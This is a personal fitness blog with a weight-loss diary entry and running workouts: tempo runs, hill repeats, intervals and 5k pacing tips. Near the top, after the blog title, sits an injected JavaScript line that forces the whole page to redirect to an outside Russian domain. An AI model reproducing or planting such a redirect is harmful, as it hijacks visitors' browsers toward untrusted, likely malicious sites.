2016isthetime

Being healthy, reaching goals and finding happiness with myself.

[2016isthetime]

top.location.href = "http://zv-show.ru/twitter/?epaxuca"

[2016isthetime]

Start Again

Today, I weigh the most I have ever weighed in my entire life - 161.6 pounds. Seeing that number, seeing the 60, well, that’s a number I never wanted to see. I’ve been meaning to leave the 50′s behind for ...years now, but the number on the scale has only gone up it appears. 

I’ve lost weight before, for a short time, and then I gain it back. Your typical yo-yo dieter. I have never achieved the fitness I so badly desire. 

And so today, after seeing that number, well, I never want to see it again. I want to leave that number in the dust. Today I decided, I want to live up to my full potential. I have it, I can be an outgoing, healthy fit runner. I can be someone who feels happy about with herself. I can be the best that I can be, to get there, I just have to start acting like it. 

I have to be committed to myself, I have to have self-control and dedication. I have to start being the type of person to whom I look up. Someone about whom you say, wow, I wish I could do that. 

I want to live up to my full potential and I’m ready to start finding the best person that I can be. 

[2016isthetime]

Tempo Run

Week 1, warm up for 10 minutes, run 10 minutes at tempo pace, then cool down for 10 minutes. Add five to 10 minutes of harder running each week. Or keep the duration constant - say 20 minutes - and aim to cover slightly more ground each week without increasing the effort level significantly. 

[2016isthetime]

[2016isthetime]

Hillwork

Pick a long hill with a gentle incline. In week 1, do eight repetitions of running 40 seconds uphill at a comfortably hard pace; walk or jog 20 seconds back downhill to recover. 

In week 2, run a minute and a half uphill and jog about 45 seconds downhill, 8 times. 

Week 3, bump up each of the 8 uphills to 3 minutes each with a minute and a half recovery. 

[2016isthetime]

[2016isthetime]

Intervals

Run a mile to warm up

Then run one quarter of a mile faster than a jog, followed by one slower, repeat 6 times. Try to increase speed for three weeks in a row. 

More experienced runners can begin with 10 400-meter repetitions at goal 5k pace with 60 to 90 seconds of jogging in between. Week #2: increase the number of repetitions to 12 at the same pace. Week #3: Run 12 again, but make each repetition a few seconds faster- taking as much active recovery as you need in between. 

[2016isthetime]

[2016isthetime]

[2016isthetime]

[2016isthetime]

A Mile and Change

Louis Cinquino, set out to run a five-minute mile at age 50, a mark he very nearly hit as a high-schooler. 

Why not set out to run your own fastest mile? If you’re in need of a new challenge or tired of running long distances, try running the mile. It won’t take up much time every day but running at the edge of your fitness level will require effort. 

[2016isthetime]

Distance

Before your next marathon buildup, try a four-week block where you forget pace and see how many miles you can do. Don’t increase your mileage past 50% in any four-week block. 

[2016isthetime]

[2016isthetime]

5k - Change Your Pace

Go out one to two percent faster than usual during shorter races (that’s five to 10 seconds per mile if you typically run at 8:00 pace)

[2016isthetime]

[2016isthetime]

[2016isthetime]

How Can I Drop My 5k Under 30 Minutes?

You need a base of running four to five miles three to four times a week. 

Then, add weekly 400-meter repeats, with a 10-minute jogging warmup and cooldown and two minutes of rest between each rep. Aim for 2:14 for each lap (9:00 pace) to build the speed you’ll need to average 9:39 pace for a sub-30. 

Start with four reps, and add one or two each week to hit eight by the second-to-last week before the 5k.